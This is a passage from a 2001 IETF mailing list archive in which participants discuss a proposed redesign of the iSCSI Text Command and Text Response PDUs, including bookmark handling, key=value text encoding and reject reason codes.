the initial command sequence number of a session, and is valid on the first login request of the leading connection in a session. This determines the CmdSN used in the next non-immediate command in the session (e.g., if the leading login request carries the CmdSN 123 the next non-immediate command carries the number 124 etc.). -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 12:07:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09291 for ; Wed, 5 Sep 2001 12:07:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85F5PD15809 for ips-outgoing; Wed, 5 Sep 2001 11:05:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85F5MP15799 for ; Wed, 5 Sep 2001 11:05:22 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN2HK; Wed, 5 Sep 2001 11:05:16 -0400 Reply-To: From: "Eddy Quicksall" To: Subject: RE: iSCSI - bookmarks change Date: Wed, 5 Sep 2001 11:05:08 -0400 Message-ID: <000301c1361c$285bbed0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Some suggestions: 1.1.3 says the following: I->T Text SendTargets=all (F=1,B=0) T->I Text (F=0,B=1) I->T Text (F=1,B=1) T->I Text (F=0,B=1) I->T Text (F=1,B=1) ... T->I Text (F=1,B=0) ... may I suggest that we say "Test Response" for T->I cases? 1.2 Text Response says: F bit set to 0 is a protocol error. ... can we document what to do about it? e.g., drop the connection? -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 04, 2001 5:19 AM To: ips@ece.cmu.edu Subject: iSCSI - bookmarks change Now that text commands are out of login (and we don't have to care too much about the immediate version) we can rationalize the bookmarks. Here is my suggestion for the new text request/response: 1.1 Text Command The Text Command is provided to allow the exchange of information and for future extensions. It permits the initiator to inform a target of its capabilities or to request some special operations. A connection SHOULD have only one outstanding text command at any given time. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|X|I| 0x04 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| CmdSN | +---------------+---------------+---------------+---------------+ 28| ExpStatSN | +---------------+---------------+---------------+---------------+ 32/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.1.1 F (Final) Bit When set to 1 it indicates that this is the last or only text command in a sequence of commands; otherwise it indicates that more commands will follow. 1.1.2 I - Immediate During the Login Phase (the current stage part of CNxSG is either SecurityNegotiation or LoginOperationalNegotiation), the Text command SHOULD be issued as an immediate command (I=1). 1.1.3 B - bookmark bit The bookmark bit set to 1 tells the target to continue from its last bookmark for the specific Initiator Task Tag and thus allows a target to transfer a large amount of textual data over a sequence of text-command/text-response exchanges. The bookmark bit set to 0 tells the target that this is a new Text request; the target should reset any bookmark it holds on the specific Initiator Task Tag. A target MAY reject an old Bookmark. Bookmark generation at target is detailed in 2.11.2. Long text responses are handled as in the following example: I->T Text SendTargets=all (F=1,B=0) T->I Text (F=0,B=1) I->T Text (F=1,B=1) T->I Text (F=0,B=1) I->T Text (F=1,B=1) ... T->I Text (F=1,B=0) 1.1.4 Initiator Task Tag The initiator assigned identifier for this Text Command. If the command is sent as part of a sequence of commands (e.g., the Login Phase or a sequence of Text commands) the Initiator Task Tag MUST be the same for all the commands within the sequence (similar to linked SCSI commands). 1.1.5 Text The initiator sends the target a set of key=value or key=list pairs encoded in UTF-8 Unicode. All the text keys and text values specified in this document are to be presented and interpreted in the case they appear in this document (they are case sensitive). The key and value are separated by a '=' (0x3d) delimiter. Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter. A list is a set of values separated by comma (0x2c). Large binary items can be encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or decimal representation. The maximum length of an individual value (not its string representation) is 255 bytes. The data lengths of a text command or response MUST NOT exceed 4096 bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed 255 bytes. Character strings are represented as plain text. Numeric and binary values are represented using either decimal numbers or the hexadecimal 0xffff notation. Upper and lower case letters may be used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC are equivalent). The target responds by sending its response back to the initiator. The response text format is similar to the request text format. Some basic key=value pairs are described in Appendix A and Appendix D. All keys in Appendix D, except for the X- extension format, MUST be supported by iSCSI initiators and targets. Keys in Appendix A MUST be supported only when the function they refer to is mandatory to implement. Manufacturers may introduce new keys by prefixing them with X- followed by their (reversed) domain name, for example the company owning the domain acme.com can issue: X-com.acme.bar.foo.do_something=0000000000000003 Any other key not understood by the target may be ignored by the target without affecting basic function. However the Text Response for a key that was not understood MUST be key=NotUnderstood. Text operations are usually meant for parameter setting/negotiations but can be used also to perform some long lasting operations. Text operations that will take a long time should be placed in their own Text command. 1.2 Text Response The Text Response PDU contains the target's responses to the initiator's Text Command. The format of the Text field matches that of the Text Command. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x24 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.2.1 F (Final) Bit When set to 1 in response to a text command with the Final bit set to 1 the F bit indicates that the target has finished the current stage of the operation or the whole operation. Otherwise if set to 0 in response to a text command with the Final Bit set to 1 it indicates that the target has more work to do (invites a follow-on text command). A text response with the F bit set to 1 in response to a text command with the F bit set to 0 is a protocol error. A text response with a F bit set to 1 MUST NOT contain key=value pairs that may require additional answers from the initiator. 1.2.2 B - bookmark Bit Whenever a target can't transfer all the remaining text data in a single Text response, it attempts to set an internal bookmark. If successful, the target associates the bookmark with the Initiator Task Tag. The target indicates that it holds a bookmark for the specific Initiator Task Tag by setting the bookmark (B) bit to 1 in the Text response. The target resets the internal bookmark associated with a given Initiator Task Tag if it receives a Text request with the specified Initiator Task Tag with the bookmark bit set to 0. When a target can't transfer all the text data in a single text response and it cannot set an internal bookmark it rejects the Text request with an appropriate Reject code. A target may reset its internal bookmark(s) after some time in order to reclaim resources associated with the bookmark and reject subsequent Text requests with the bookmark bit set to 1. When all the text data fit in a single Text response the bookmark bit of the response is set to 0 and the bookmark associated with the Initiator Task Tag is reset. 1.2.3 Initiator Task Tag The Initiator Task Tag matches the tag used in the initial Text Command or the Login Initiator Task Tag. 1.2.4 Text Response Data The Text Response Data Segment contains responses in the same key=value format as the Text Command and with the same length and coding constraints. Appendix A and Appendix D lists some basic Text Commands and their Responses. Although the initiator is the requesting party and controls the request-response initiation and termination the target can offer key=value pairs of its own as part of a sequence and not only in response to an identical key=value pair offered by the initiator. A Key=value pair must be confined to a given text response even in the presence of bookmark - i.e., it must start and end within one Text Response. The Reject Reasons table looks like: 1.1.1 Reason The reject Reason is coded as follows: +------+-----------------------------------------+------------------+ | Code | Explanation | Can the original | | (hex)| | PDU be re-sent? | +------+-----------------------------------------+------------------+ | 0x01 | Format Error | no | | | | | | 0x02 | Data (payload) Digest Error | yes (Note 1) | | | | | | 0x03 | Data-SNACK Reject | yes | | | | | | 0x04 | Protocol Error (e.g., SNACK request for | no | | | a status that was already acknowledged) | | | | | | | 0x05 | Command not supported in this session | no | | | type | | | | | | | 0x06 | Immediate Command Reject - too many | yes | | | immediate commands | | | | | | | 0x07 | Bookmark Reject - No bookmark for this | no | | | Initiator Task Tag | | | | | | | 0x08 | Bookmark Reject - Can't generate | yes | | | bookmark - out of resources | | | | | | | 0x0f | Full Feature Phase Command before login | no | +------+-----------------------------------------+------------------+ Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 5 12:28:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10170 for ; Wed, 5 Sep 2001 12:28:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85ETEu13333 for ips-outgoing; Wed, 5 Sep 2001 10:29:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85ESuP13311 for ; Wed, 5 Sep 2001 10:28:57 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id QAA36316 for ; Wed, 5 Sep 2001 16:28:47 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f85EA2u69792 for ; Wed, 5 Sep 2001 16:10:03 +0200 Importance: Normal Subject: RE: iSCSI - bookmarks change To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 5 Sep 2001 16:59:37 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 05/09/2001 17:10:02 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Ooops - thanks ... I thought I caught them all I had a serialization problem. I also talk about a field that is not in the figure anymore :-) Thanks- Julo "Eddy Quicksall" @ece.cmu.edu on 05-09-2001 16:36:34 Please respond to Sent by: owner-ips@ece.cmu.edu To: cc: Subject: RE: iSCSI - bookmarks change Section "4. Login Phase" of your previous EMAIL (iSCSI - Login changes and the latest agreements) says: The login phase is implemented via login request and responses only. But below you say: During the Login Phase ... the Text command SHOULD be issued as an immediate command (I=1). These seem contradictory. Eddy -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 04, 2001 5:19 AM To: ips@ece.cmu.edu Subject: iSCSI - bookmarks change Now that text commands are out of login (and we don't have to care too much about the immediate version) we can rationalize the bookmarks. Here is my suggestion for the new text request/response: 1.1 Text Command The Text Command is provided to allow the exchange of information and for future extensions. It permits the initiator to inform a target of its capabilities or to request some special operations. A connection SHOULD have only one outstanding text command at any given time. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|X|I| 0x04 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| CmdSN | +---------------+---------------+---------------+---------------+ 28| ExpStatSN | +---------------+---------------+---------------+---------------+ 32/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.1.1 F (Final) Bit When set to 1 it indicates that this is the last or only text command in a sequence of commands; otherwise it indicates that more commands will follow. 1.1.2 I - Immediate During the Login Phase (the current stage part of CNxSG is either SecurityNegotiation or LoginOperationalNegotiation), the Text command SHOULD be issued as an immediate command (I=1). 1.1.3 B - bookmark bit The bookmark bit set to 1 tells the target to continue from its last bookmark for the specific Initiator Task Tag and thus allows a target to transfer a large amount of textual data over a sequence of text-command/text-response exchanges. The bookmark bit set to 0 tells the target that this is a new Text request; the target should reset any bookmark it holds on the specific Initiator Task Tag. A target MAY reject an old Bookmark. Bookmark generation at target is detailed in 2.11.2. Long text responses are handled as in the following example: I->T Text SendTargets=all (F=1,B=0) T->I Text (F=0,B=1) I->T Text (F=1,B=1) T->I Text (F=0,B=1) I->T Text (F=1,B=1) ... T->I Text (F=1,B=0) 1.1.4 Initiator Task Tag The initiator assigned identifier for this Text Command. If the command is sent as part of a sequence of commands (e.g., the Login Phase or a sequence of Text commands) the Initiator Task Tag MUST be the same for all the commands within the sequence (similar to linked SCSI commands). 1.1.5 Text The initiator sends the target a set of key=value or key=list pairs encoded in UTF-8 Unicode. All the text keys and text values specified in this document are to be presented and interpreted in the case they appear in this document (they are case sensitive). The key and value are separated by a '=' (0x3d) delimiter. Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter. A list is a set of values separated by comma (0x2c). Large binary items can be encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or decimal representation. The maximum length of an individual value (not its string representation) is 255 bytes. The data lengths of a text command or response MUST NOT exceed 4096 bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed 255 bytes. Character strings are represented as plain text. Numeric and binary values are represented using either decimal numbers or the hexadecimal 0xffff notation. Upper and lower case letters may be used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC are equivalent). The target responds by sending its response back to the initiator. The response text format is similar to the request text format. Some basic key=value pairs are described in Appendix A and Appendix D. All keys in Appendix D, except for the X- extension format, MUST be supported by iSCSI initiators and targets. Keys in Appendix A MUST be supported only when the function they refer to is mandatory to implement. Manufacturers may introduce new keys by prefixing them with X- followed by their (reversed) domain name, for example the company owning the domain acme.com can issue: X-com.acme.bar.foo.do_something=0000000000000003 Any other key not understood by the target may be ignored by the target without affecting basic function. However the Text Response for a key that was not understood MUST be key=NotUnderstood. Text operations are usually meant for parameter setting/negotiations but can be used also to perform some long lasting operations. Text operations that will take a long time should be placed in their own Text command. 1.2 Text Response The Text Response PDU contains the target's responses to the initiator's Text Command. The format of the Text field matches that of the Text Command. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x24 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.2.1 F (Final) Bit When set to 1 in response to a text command with the Final bit set to 1 the F bit indicates that the target has finished the current stage of the operation or the whole operation. Otherwise if set to 0 in response to a text command with the Final Bit set to 1 it indicates that the target has more work to do (invites a follow-on text command). A text response with the F bit set to 1 in response to a text command with the F bit set to 0 is a protocol error. A text response with a F bit set to 1 MUST NOT contain key=value pairs that may require additional answers from the initiator. 1.2.2 B - bookmark Bit Whenever a target can't transfer all the remaining text data in a single Text response, it attempts to set an internal bookmark. If successful, the target associates the bookmark with the Initiator Task Tag. The target indicates that it holds a bookmark for the specific Initiator Task Tag by setting the bookmark (B) bit to 1 in the Text response. The target resets the internal bookmark associated with a given Initiator Task Tag if it receives a Text request with the specified Initiator Task Tag with the bookmark bit set to 0. When a target can't transfer all the text data in a single text response and it cannot set an internal bookmark it rejects the Text request with an appropriate Reject code. A target may reset its internal bookmark(s) after some time in order to reclaim resources associated with the bookmark and reject subsequent Text requests with the bookmark bit set to 1. When all the text data fit in a single Text response the bookmark bit of the response is set to 0 and the bookmark associated with the Initiator Task Tag is reset. 1.2.3 Initiator Task Tag The Initiator Task Tag matches the tag used in the initial Text Command or the Login Initiator Task Tag. 1.2.4 Text Response Data The Text Response Data Segment contains responses in the same key=value format as the Text Command and with the same length and coding constraints. Appendix A and Appendix D lists some basic Text Commands and their Responses. Although the initiator is the requesting party and controls the request-response initiation and termination the target can offer key=value pairs of its own as part of a sequence and not only in response to an identical key=value pair offered by the initiator. A Key=value pair must be confined to a given text response even in the presence of bookmark - i.e., it must start and end within one Text Response. The Reject Reasons table looks like: 1.1.1 Reason The reject Reason is coded as follows: +------+-----------------------------------------+------------------+ | Code | Explanation | Can the original | | (hex)| | PDU be re-sent? | +------+-----------------------------------------+------------------+ | 0x01 | Format Error | no | | | | | | 0x02 | Data (payload) Digest Error | yes (Note 1) | | | | | | 0x03 | Data-SNACK Reject | yes | | | | | | 0x04 | Protocol Error (e.g., SNACK request for | no | | | a status that was already acknowledged) | | | | | | | 0x05 | Command not supported in this session | no | | | type | | | | | | | 0x06 | Immediate Command Reject - too many | yes | | | immediate commands | | | | | | | 0x07 | Bookmark Reject - No bookmark for this | no | | | Initiator Task Tag | | | | | | | 0x08 | Bookmark Reject - Can't generate | yes | | | bookmark - out of resources | | | | | | | 0x0f | Full Feature Phase Command before login | no | +------+-----------------------------------------+------------------+ Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 5 13:27:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11761 for ; Wed, 5 Sep 2001 13:27:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85FbY217893 for ips-outgoing; Wed, 5 Sep 2001 11:37:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85FbVP17886 for ; Wed, 5 Sep 2001 11:37:31 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA10289; Wed, 5 Sep 2001 11:37:18 -0400 (EDT) Message-ID: <3B9644ED.4FB175DC@cisco.com> Date: Wed, 05 Sep 2001 10:29:49 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- This is getting a lot simpler. We can go even further by turning the SHOULD below into a MUST. If we say: A connection MUST have only one outstanding text command at any given time. This means that the bookmark flag references the connection on which the text command is done, and makes the Initiator Task Tag unnecessary in both the text command and response. We can turn these into reserve fields, and reference the connection instead of the ITT when discussing bookmarked commands. -- Mark Julian Satran wrote: > > Now that text commands are out of login (and we don't have to care too much > about the immediate version) we can rationalize the bookmarks. > > Here is my suggestion for the new text request/response: > > 1.1 Text Command > > The Text Command is provided to allow the exchange of information and > for future extensions. It permits the initiator to inform a target of > its capabilities or to request some special operations. > > A connection SHOULD have only one outstanding text command at any given > time. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| 0x04 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Reserved | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+---------------+ > > 1.1.1 F (Final) Bit > > When set to 1 it indicates that this is the last or only text command in > a sequence of commands; otherwise it indicates that more commands will > follow. > > 1.1.2 I - Immediate > > During the Login Phase (the current stage part of CNxSG is either > SecurityNegotiation or LoginOperationalNegotiation), the Text command > SHOULD be issued as an immediate command (I=1). > > 1.1.3 B - bookmark bit > > The bookmark bit set to 1 tells the target to continue from its last > bookmark for the specific Initiator Task Tag and thus allows a target to > transfer a large amount of textual data over a sequence of > text-command/text-response exchanges. > > The bookmark bit set to 0 tells the target that this is a new Text > request; the target should reset any bookmark it holds on the specific > Initiator Task Tag. > > A target MAY reject an old Bookmark. > > Bookmark generation at target is detailed in 2.11.2. > > Long text responses are handled as in the following example: > > I->T Text SendTargets=all (F=1,B=0) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > ... > T->I Text (F=1,B=0) > > 1.1.4 Initiator Task Tag > > The initiator assigned identifier for this Text Command. > If the command is sent as part of a sequence of commands (e.g., the > Login Phase or a sequence of Text commands) the Initiator Task Tag MUST > be the same for all the commands within the sequence (similar to linked > SCSI commands). > > 1.1.5 Text > > The initiator sends the target a set of key=value or key=list pairs > encoded in UTF-8 Unicode. All the text keys and text values specified in > this document are to be presented and interpreted in the case they > appear in this document (they are case sensitive). The key and value are > separated by a '=' (0x3d) delimiter. Every key=value pair (including the > last or only pair) MUST be followed by null (0x00) delimiter. A list is > a set of values separated by comma (0x2c). Large binary items can be > encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or > decimal representation. The maximum length of an individual value (not > its string representation) is 255 bytes. > > The data lengths of a text command or response MUST NOT exceed 4096 > bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed > 255 bytes. > > Character strings are represented as plain text. Numeric and binary > values are represented using either decimal numbers or the hexadecimal > 0xffff notation. Upper and lower case letters may be used > interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC > are equivalent). > > The target responds by sending its response back to the initiator. The > response text format is similar to the request text format. > > Some basic key=value pairs are described in Appendix A and Appendix D. > All keys in Appendix D, except for the X- extension format, MUST be > supported by iSCSI initiators and targets. Keys in Appendix A MUST be > supported only when the function they refer to is mandatory to > implement. > > Manufacturers may introduce new keys by prefixing them with X- followed > by their (reversed) domain name, for example the company owning the > domain acme.com can issue: > > X-com.acme.bar.foo.do_something=0000000000000003 > > Any other key not understood by the target may be ignored by the target > without affecting basic function. However the Text Response for a key > that was not understood MUST be key=NotUnderstood. > > Text operations are usually meant for parameter setting/negotiations but > can be used also to perform some long lasting operations. > > Text operations that will take a long time should be placed in their own > Text command. > > 1.2 > > Text Response > > The Text Response PDU contains the target's responses to the initiator's > Text Command. The format of the Text field matches that of the Text > Command. > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x24 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Reserved | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+---------------+ > > 1.2.1 F (Final) Bit > > When set to 1 in response to a text command with the Final bit set to 1 > the F bit indicates that the target has finished the current stage of > the operation or the whole operation. Otherwise if set to 0 in response > to a text command with the Final Bit set to 1 it indicates that the > target has more work to do (invites a follow-on text command). A text > response with the F bit set to 1 in response to a text command with the > F bit set to 0 is a protocol error. > > A text response with a F bit set to 1 MUST NOT contain key=value pairs > that may require additional answers from the initiator. > > 1.2.2 B - bookmark Bit > > Whenever a target can't transfer all the remaining text data in a single > Text response, it attempts to set an internal bookmark. If successful, > the target associates the bookmark with the Initiator Task Tag. The > target indicates that it holds a bookmark for the specific Initiator > Task Tag by setting the bookmark (B) bit to 1 in the Text response. The > target resets the internal bookmark associated with a given Initiator > Task Tag if it receives a Text request with the specified Initiator Task > Tag with the bookmark bit set to 0. When a target can't transfer all > the text data in a single text response and it cannot set an internal > bookmark it rejects the Text request with an appropriate Reject code. A > target may reset its internal bookmark(s) after some time in order to > reclaim resources associated with the bookmark and reject subsequent > Text requests with the bookmark bit set to 1. > > When all the text data fit in a single Text response the bookmark bit of > the response is set to 0 and the bookmark associated with the Initiator > Task Tag is reset. > > 1.2.3 Initiator Task Tag > > The Initiator Task Tag matches the tag used in the initial Text Command > or the Login Initiator Task Tag. > > 1.2.4 Text Response Data > > The Text Response Data Segment contains responses in the same key=value > format as the Text Command and with the same length and coding > constraints. Appendix A and Appendix D lists some basic Text Commands > and their Responses. > > Although the initiator is the requesting party and controls the > request-response initiation and termination the target can offer > key=value pairs of its own as part of a sequence and not only in > response to an identical key=value pair offered by the initiator. > > A Key=value pair must be confined to a given text response even in the > presence of bookmark - i.e., it must start and end within one Text > Response. > > The Reject Reasons table looks like: > > 1.1.1 Reason > > The reject Reason is coded as follows: > > +------+-----------------------------------------+------------------+ > | Code | Explanation | Can the original | > | (hex)| | PDU be re-sent? | > +------+-----------------------------------------+------------------+ > | 0x01 | Format Error | no | > | | | | > | 0x02 | Data (payload) Digest Error | yes (Note 1) | > | | | | > | 0x03 | Data-SNACK Reject | yes | > | | | | > | 0x04 | Protocol Error (e.g., SNACK request for | no | > | | a status that was already acknowledged) | | > | | | | > | 0x05 | Command not supported in this session | no | > | | type | | > | | | | > | 0x06 | Immediate Command Reject - too many | yes | > | | immediate commands | | > | | | | > | 0x07 | Bookmark Reject - No bookmark for this | no | > | | Initiator Task Tag | | > | | | | > | 0x08 | Bookmark Reject - Can't generate | yes | > | | bookmark - out of resources | | > | | | | > | 0x0f | Full Feature Phase Command before login | no | > +------+-----------------------------------------+------------------+ > > Comments? > > Julo -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 14:41:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16209 for ; Wed, 5 Sep 2001 14:40:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85H4Q923296 for ips-outgoing; Wed, 5 Sep 2001 13:04:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85H4HP23284 for ; Wed, 5 Sep 2001 13:04:17 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 17441C3 for ; Wed, 5 Sep 2001 19:04:45 +0200 (METDST) Received: from loddon.br.itc.hp.com (loddon.br.itc.hp.com [15.145.8.166]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id SAA11683 for ; Wed, 5 Sep 2001 18:04:15 +0100 (BST) Received: from 15.145.8.166 by loddon.br.itc.hp.com (InterScan E-Mail VirusWall NT); Wed, 05 Sep 2001 18:04:15 +0100 (GMT Daylight Time) Received: by loddon.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 5 Sep 2001 18:04:14 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A88B@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW 